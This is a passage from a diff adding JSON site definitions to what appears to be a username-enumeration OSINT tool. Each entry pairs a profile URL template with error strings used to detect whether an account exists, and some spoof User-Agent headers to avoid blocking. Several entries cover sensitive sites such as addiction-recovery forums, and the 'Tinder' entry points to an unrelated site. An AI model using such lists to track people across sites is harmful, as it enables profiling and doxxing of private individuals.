+ "bad_site": ""
+ },
+ "Superuser": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "No users matched your search.",
+ "errorMsg2": "s-empty-state bg-black-025",
+ "errorTyp��": "message",
+ "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}",
+ "urlMain": "https://superuser.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Support_mozilla": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Page Not Found | Mozilla",
+ "errorMsg2": "Sorry, we couldn't find the page you were looking for.",
+ "errorTyp��": "message",
+ "url": "https://support.mozilla.org/en-US/user/{}",
+ "urlMain": "https://support.mozilla.org",
+ "usernameON": "username",
+ "bad_site": ""
+ },
+ "Suunto_Movescount_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "error=4&",
+ "errorMsg2": "QT Media 404 ",
+ "errorTyp��": "message",
+ "url": "http://www.movescount.com/ru/members/{}",
+ "urlMain": "http://www.movescount.com",
+ "usernameON": "adam",
+ "bad_site": 1,
+ "comments": "https://www.suunto.com/"
+ },
+ "Suzuki-club": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://suzuki-club.ru/members/?username={}",
+ "urlMain": "https://suzuki-club.ru",
+ "usernameON": "riphkin",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Suzuri": {
+ "country": "🇯🇵",
+ "country_klas": "JP",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://suzuri.jp/{}",
+ "urlMain": "https://suzuri.jp",
+ "usernameON": "boss",
+ "bad_site": ""
+ },
+ "Svidbook": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://www.svidbook.ru/user/{}/",
+ "urlMain": "https://www.svidbook.ru/",
+ "usernameON": "Moon",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Sweethome3d": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": " Error",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}",
+ "urlMain": "https://www.sweethome3d.com",
+ "usernameON": "empereur",
+ "bad_site": ""
+ },
+ "Swimming_forum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://forumswimming.ru/index/8-0-{}",
+ "urlMain": "http://forumswimming.ru/",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Syberpussy": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://syberpussy.com/members/?username={}",
+ "urlMain": "https://syberpussy.com",
+ "usernameON": "akira20m",
+ "bad_site": 1,
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Syktforum": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "404 Ошибка! - Форум Сыктывкар. Форум города Сыктывкар ",
+ "errorTyp��": "message",
+ "url": "http://syktforum.ru/profile/{}",
+ "urlMain": "http://syktforum.ru",
+ "usernameON": "TonyT",
+ "bad_site": 1
+ },
+ "Syktyvkar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://syktyvkar-online.ru/profile/{}",
+ "urlMain": "http://syktyvkar-online.ru",
+ "usernameON": "vcaun53",
+ "bad_site": 1
+ },
+ "Sysadmins": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Could not obtain user posts information",
+ "errorMsg2": " ",
+ "errorMsg3": "Hagakure",
+ "errorTyp��": "message",
+ "url": "https://sysadmins.ru/member{}.html",
+ "urlMain": "https://sysadmins.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Sysprogs": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://sysprogs.com/w/forums/users/{}/",
+ "urlMain": "https://sysprogs.com",
+ "usernameON": "jamessmith",
+ "comments": "RKN",
+ "bad_site": ""
+ },
+ "Sythe": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The specified member cannot be found. Please enter a member's entire name.",
+ "errorMsg2": "Attention Required! | Cloudflare ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.sythe.org/members/?username={}",
+ "urlMain": "https://www.sythe.org",
+ "usernameON": "rskingp",
+ "bad_site": ""
+ },
+ "T_baidu": {
+ "country": "🇨🇳",
+ "country_klas": "CN",
+ "errorTyp��": "response_url",
+ "url": "https://tieba.baidu.com/home/main?un={}",
+ "urlMain": "https://tieba.baidu.com",
+ "usernameON": "irina",
+ "bad_site": ""
+ },
+ "Tabun": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://tabun.everypony.ru/profile/{}/",
+ "urlMain": "https://tabun.everypony.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "TalkDrugabuse": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "url": "https://talk.drugabuse.com/members/?username={}",
+ "urlMain": "https://talk.drugabuse.com",
+ "usernameON": "adam",
+ "bad_site": 1,
+ "comments": "cf",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Talkingsober": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://talkingsober.com/u/{}/summary",
+ "urlMain": "https://talkingsober.com",
+ "usernameON": "carljr",
+ "bad_site": ""
+ },
+ "Talkstats": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.talkstats.com/members/?username={}",
+ "urlMain": "https://www.talkstats.com",
+ "usernameON": "johnlee",
+ "bad_site": 1,
+ "comments": "bad",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Tamboff": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Извините, такого пользователя не существуе",
+ "errorMsg2": " - tamboff.ru ",
+ "errorTyp��": "message",
+ "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}",
+ "urlMain": "http://www.tamboff.ru",
+ "usernameON": "z0dl9rnd",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "TamTam": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "maximum-scale=1",
+ "errorMsg2": "ТамТам ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://tamtam.chat/{}",
+ "urlMain": "https://tamtam.chat/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Taringa_CLOSEDEAD": {
+ "country": "🇦🇷",
+ "country_klas": "AR",
+ "errorTyp��": "response_url",
+ "url": "https://www.taringa.net/{}",
+ "urlMain": "https://www.taringa.net/",
+ "usernameON": "BLUE",
+ "bad_site": 1
+ },
+ "Teakdoor": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://teakdoor.com/members/{}.html",
+ "urlMain": "https://teakdoor.com",
+ "usernameON": "joe-90",
+ "comments": "bad",
+ "bad_site": ""
+ },
+ "Techdirt": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": " | Techdirt ",
+ "errorMsg2": "",
+ "errorTyp��": "message",
+ "url": "https://www.techdirt.com/user/{}/",
+ "urlMain": "https://www.techdirt.com/",
+ "usernameON": "thatoneguy",
+ "bad_site": ""
+ },
+ "Techpowerup": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "url": "https://www.techpowerup.com/forums/members/?username={}",
+ "urlMain": "https://www.techpowerup.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Techrepublic": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.techrepublic.com/members/profile/{}/",
+ "urlMain": "https://www.techrepublic.com",
+ "usernameON": "Kentertainments75",
+ "bad_site": 1
+ },
+ "Tek-tips": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.tek-tips.com/userinfo.cfm?member={}",
+ "urlMain": "https://www.tek-tips.com/",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Teknik": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "The user does not exist",
+ "errorMsg2": "Not Exist | Teknik ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://user.teknik.io/{}",
+ "urlMain": "https://teknik.io/",
+ "usernameON": "red",
+ "bad_site": 1
+ },
+ "Telegram": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": " ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://t.me/{}",
+ "urlMain": "https://t.me/",
+ "usernameON": "Klaus",
+ "bad_site": ""
+ },
+ "Telepropusk": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://telepropusk.ru/forums/users/{}/",
+ "urlMain": "https://telepropusk.ru",
+ "usernameON": "telepropusk",
+ "bad_site": ""
+ },
+ "Teletype": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://teletype.in/@{}",
+ "urlMain": "https://teletype.in",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Television_linternaute": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://television.linternaute.com/profile/user/{}",
+ "urlMain": "https://television.linternaute.com",
+ "usernameON": "Radinoz",
+ "bad_site": ""
+ },
+ "Tellonym": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://tellonym.me/{}",
+ "urlMain": "https://tellonym.me/",
+ "usernameON": "blue",
+ "comments": "cf",
+ "bad_site": ""
+ },
+ "Tenchat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://tenchat.ru/{}",
+ "urlMain": "https://tenchat.ru",
+ "usernameON": "agreec",
+ "bad_site": ""
+ },
+ "Teplak": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Извините, такого пользователя не существует",
+ "errorMsg2": "Теплый Стан :: ",
+ "errorMsg3": "Извините,",
+ "errorTyp��": "message",
+ "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}",
+ "urlMain": "http://www.teplak.ru",
+ "usernameON": "Lexa",
+ "comments": "zamedlenie",
+ "bad_site": 1
+ },
+ "Terminator": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://terminator-scc.net.ru/index/8-0-{}",
+ "urlMain": "http://terminator-scc.net.ru",
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Terminatorium": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "профиль забанен или удален",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://terminatorium.borda.ru/?32-{}",
+ "urlMain": "https://terminatorium.borda.ru/",
+ "usernameON": "tengu",
+ "bad_site": ""
+ },
+ "Termoshop": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://termoshop.ru/",
+ "usernameON": "yurez",
+ "bad_site": ""
+ },
+ "Test_pypi": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "page\":0,\"totalMatches\":0",
+ "errorMsg2": "results\":[]",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://test.pypi.org/user/{}/",
+ "urlMain": "https://test.pypi.org",
+ "usernameON": "samsja",
+ "urlProbe": "https://deps.dev/_/search?q={}&system=PYPI&page=0&perPage=20",
+ "bad_site": ""
+ },
+ "Tetongravity": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "Please wait",
+ "errorMsg2": "This user has not registered and therefore does not have a profile to view",
+ "errorTyp��": "message",
+ "url": "https://www.tetongravity.com/forums/member.php/?username={}",
+ "urlMain": "https://www.tetongravity.com",
+ "usernameON": "RoooR",
+ "bad_site": ""
+ },
+ "Texasguntalk": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "url": "https://www.texasguntalk.com/members/?username={}",
+ "urlMain": "https://www.texasguntalk.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Thaicat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.thaicat.ru/index/8-0-{}",
+ "urlMain": "http://www.thaicat.ru",
+ "usernameON": "SparcO",
+ "bad_site": ""
+ },
+ "Theanswerbank": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "Welcome to the AnswerBank",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://www.theanswerbank.co.uk/members/{}",
+ "urlMain": "https://www.theanswerbank.co.uk",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Thebeautybrains": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://thebeautybrains.com/users/{}/",
+ "urlMain": "https://thebeautybrains.com",
+ "usernameON": "randys",
+ "bad_site": ""
+ },
+ "Thebigboss": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "http://thebigboss.org/author/{}",
+ "urlMain": "http://thebigboss.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Thechessforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Page Not Found",
+ "errorMsg2": "Sorry, page not found",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://thechessforum.com/profile/{}/",
+ "urlMain": "https://thechessforum.com",
+ "usernameON": "menaalkhan",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Thechive": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://thechive.com/author/{}/",
+ "urlMain": "https://thechive.com",
+ "usernameON": "camrybishop",
+ "bad_site": ""
+ },
+ "THEcommunity": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://thecommunity.ru/user/{}/",
+ "urlMain": "https://thecommunity.ru",
+ "usernameON": "pjslot",
+ "bad_site": ""
+ },
+ "Thefastdiet": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "Sorry, ",
+ "errorMsg2": "page doesn",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://thefastdiet.co.uk/forums/users/{}/",
+ "urlMain": "https://thefastdiet.co.uk",
+ "usernameON": "fadepeacock",
+ "bad_site": ""
+ },
+ "Thefastlaneforum": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "url": "https://www.thefastlaneforum.com/community/members/?username={}",
+ "urlMain": "https://www.thefastlaneforum.com",
+ "usernameON": "adam",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Thelion": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "We are sorry but the following error has occurred.",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}",
+ "urlMain": "http://www.thelion.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Themeforest": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://themeforest.net/user/{}",
+ "urlMain": "https://themeforest.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Theodysseyonline": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.theodysseyonline.com/user/@{}",
+ "urlMain": "https://www.theodysseyonline.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Theoutlander": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://theoutlander.ru/index/8-0-{}",
+ "urlMain": "http://theoutlander.ru",
+ "usernameON": "Parma",
+ "bad_site": ""
+ },
+ "Thephysicsforum": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "The Physics Forum ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.thephysicsforum.com/members/{}.html",
+ "urlMain": "https://www.thephysicsforum.com",
+ "usernameON": "andrewc",
+ "bad_site": ""
+ },
+ "Thesimsresource": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "response_url",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.thesimsresource.com/artists/{}/",
+ "urlMain": "https://www.thesimsresource.com/",
+ "usernameON": "soloriya",
+ "bad_site": ""
+ },
+ "Thestudentroom": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorMsg": "NoneNone",
+ "errorMsg2": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.thestudentroom.co.uk/member.php?username={}",
+ "urlMain": "https://www.thestudentroom.co.uk",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Thevampirediaries": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://thevampirediaries.ru/user/{}/",
+ "urlMain": "http://thevampirediaries",
+ "usernameON": "PrestonPauh",
+ "comments": "no_oplata",
+ "bad_site": 1
+ },
+ "Theverge": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.theverge.com/users/{}",
+ "urlMain": "https://www.theverge.com",
+ "usernameON": "Patlex",
+ "bad_site": ""
+ },
+ "Thewatchforum": {
+ "country": "🇬🇧",
+ "country_klas": "GB",
+ "errorTyp��": "redirection",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.thewatchforum.co.uk/members/?username={}",
+ "urlMain": "https://www.thewatchforum.co.uk",
+ "usernameON": "wrench",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Thingiverse": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.thingiverse.com/{}/designs",
+ "urlMain": "https://www.thingiverse.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Thlaspi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://thlaspi.com/en/user/{}",
+ "urlMain": "https://thlaspi.com",
+ "usernameON": "eblinkoff",
+ "comments": "-t 22 good",
+ "bad_site": ""
+ },
+ "Threads": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Threads",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "content=\"https://www.threads.com/login",
+ "errorTyp��": "message",
+ "headers": {
+ "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3",
+ "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
+ "Priority": "u=1",
+ "DNT": "1",
+ "Host": "www.threads.com",
+ "Connection": "keep-alive",
+ "Upgrade-Insecure-Requests": "1",
+ "Sec-Fetch-Dest": "document",
+ "Sec-Fetch-Mode": "navigate",
+ "Sec-Fetch-Site": "none",
+ "Sec-Fetch-User": "?1",
+ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0"
+ },
+ "url": "https://www.threads.com/@{}",
+ "urlMain": "https://www.threads.com",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "TikTok": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.tiktok.com/@{}?lang=ru-RU",
+ "urlMain": "https://www.tiktok.com/",
+ "headers": {
+ "Accept": "*/*",
+ "Sec-GPC": "1",
+ "Connection": "keep-alive",
+ "Host": "www.tiktok.com",
+ "User-Agent": "Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)"
+ },
+ "usernameON": "red",
+ "bad_site": ""
+ },
+ "Tildes": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://tildes.net/user/{}",
+ "urlMain": "https://tildes.net",
+ "usernameON": "Palatino",
+ "bad_site": ""
+ },
+ "Tinder": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Dating, Make Friends &",
+ "errorMsg2": "заводи друзей Тинькофф",
+ "errorTyp��": "message",
+ "url": "https://www.tinkoff.ru/invest/social/profile/{}/",
+ "urlMain": "https://www.tinkoff.ru",
+ "usernameON": "Usual_user",
+ "bad_site": ""
+ },
+ "Tjournal_CLOSEDEAD": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Мы все внимательно посмотрели, но ничего не нашли :(",
+ "errorMsg2": "Можно попробовать изменить поисковый запрос или пойти почитать",
+ "errorTyp��": "message",
+ "url": "https://tjournal.ru/search/v2/subsite/relevant?query={}",
+ "urlMain": "https://tjournal.ru",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Tkgr": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://tkgr.ru/forum/member/{}",
+ "urlMain": "http://tkgr.ru/",
+ "usernameON": "siber",
+ "comments": "zamedlenie",
+ "bad_site": ""
+ },
+ "Tl": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://tl.net/forum/profile.php?user={}",
+ "urlMain": "https://tl.net",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Tolyatty": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "http://tolyatty.net/user/{}/",
+ "urlMain": "http://tolyatty.net",
+ "usernameON": "derre-red",
+ "bad_site": 1
+ },
+ "Tomtom_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://discussions.tomtom.com/en/profile/{}",
+ "urlMain": "https://discussions.tomtom.com/",
+ "usernameON": "adam",
+ "bad_site": 1
+ },
+ "Toot_mstd": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "exclusion": "[а-яА-Я]",
+ "errorTyp��": "status_code",
+ "url": "https://toot.cat/@{}",
+ "urlMain": "https://toot.cat",
+ "usernameON": "bob",
+ "bad_site": ""
+ },
+ "Topcheats": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://topcheats.ucoz.com/index/8-0-{}",
+ "urlMain": "https://topcheats.ucoz.com",
+ "usernameON": "sergeizakaz",
+ "bad_site": ""
+ },
+ "Topdb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "Извините, но пользователь не найден",
+ "errorTyp��": "message",
+ "url": "https://topdb.ru/{}",
+ "urlMain": "https://topdb.ru",
+ "usernameON": "sukaebana2017",
+ "bad_site": ""
+ },
+ "Topwar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://topwar.ru/user/{}/",
+ "urlMain": "https://topwar.ru",
+ "usernameON": "datur",
+ "bad_site": ""
+ },
+ "Torrent-soft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "url": "https://torrent-soft.net/user/{}/",
+ "urlMain": "https://torrent-soft.net",
+ "usernameON": "Baguvix",
+ "bad_site": ""
+ },
+ "Totalstavki_CLOSEDEAD": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://totalstavki.ru/forum/members/?username={}",
+ "urlMain": "https://totalstavki.ru",
+ "usernameON": "turbo",
+ "bad_site": 1,
+ "comments": "zakr",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Totseans_CLOSEDEAD": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Totseans ",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "http://www.totseans.com/bbs/profile/{}",
+ "urlMain": "http://www.totseans.com",
+ "usernameON": "Vizier",
+ "comments": "RUblock",
+ "bad_site": 1
+ },
+ "Tottenhamhotspur": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "http://tottenhamhotspur.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://tottenhamhotspur.ru",
+ "usernameON": "rusiakos",
+ "bad_site": ""
+ },
+ "Touristlink": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Members across the World",
+ "errorMsg2": "NoneNone",
+ "errorTyp��": "message",
+ "url": "https://www.touristlink.com/user/{}",
+ "urlMain": "https://www.touristlink.com",
+ "usernameON": "green",
+ "comments": "Oplata",
+ "bad_site": 1
+ },
+ "Tourney": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "По вашему запросу ничего не найдено.",
+ "errorMsg2": "colspan=\"4\">",
+ "errorTyp��": "message",
+ "url": "http://www.tourney.ru/forum/userlist.php?username={}&show_group=-1&sort_by=username",
+ "urlMain": "http://www.tourney.ru",
+ "usernameON": "Spirit",
+ "bad_site": ""
+ },
+ "Toxicbun": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "response_url",
+ "url": "https://toxicbun.com/@{}",
+ "urlMain": "https://toxicbun.com",
+ "usernameON": "Mark",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "Toyster": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "toyster.ru форум ",
+ "errorTyp��": "message",
+ "url": "https://toyster.ru/forum/member.php?username={}",
+ "urlMain": "https://toyster.ru",
+ "usernameON": "DEMOH85",
+ "bad_site": ""
+ },
+ "TrackmaniaLadder": {
+ "country": "🇫🇷",
+ "country_klas": "FR",
+ "errorMsg": "player unknown or invalid",
+ "errorMsg2": "NoneNone",
+ "errorMsg3": "player unknown or invalid",
+ "errorTyp��": "message",
+ "url": "http://en.tm-ladder.com/{}_rech.php",
+ "urlMain": "http://en.tm-ladder.com/index.php",
+ "usernameON": "blue",
+ "comments": "bad",
+ "bad_site": 1
+ },
+ "TradingView": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorMsg": "This isn't the page you're looking for",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://www.tradingview.com/u/{}/",
+ "urlMain": "https://www.tradingview.com/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Trainsim": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registered and therefore does not have a profile to view.",
+ "errorMsg2": "Cloudflare ",
+ "errorMsg3": "Just a moment",
+ "errorTyp��": "message",
+ "url": "https://www.trainsim.com/vbts/member.php?username={}",
+ "urlMain": "https://www.trainsim.com/",
+ "usernameON": "adam",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Trakt": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "status_code",
+ "url": "https://www.trakt.tv/users/{}",
+ "urlMain": "https://www.trakt.tv/",
+ "usernameON": "blue",
+ "bad_site": ""
+ },
+ "Translatewiki": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "url": "https://translatewiki.net/wiki/User:{}",
+ "urlMain": "https://translatewiki.net",
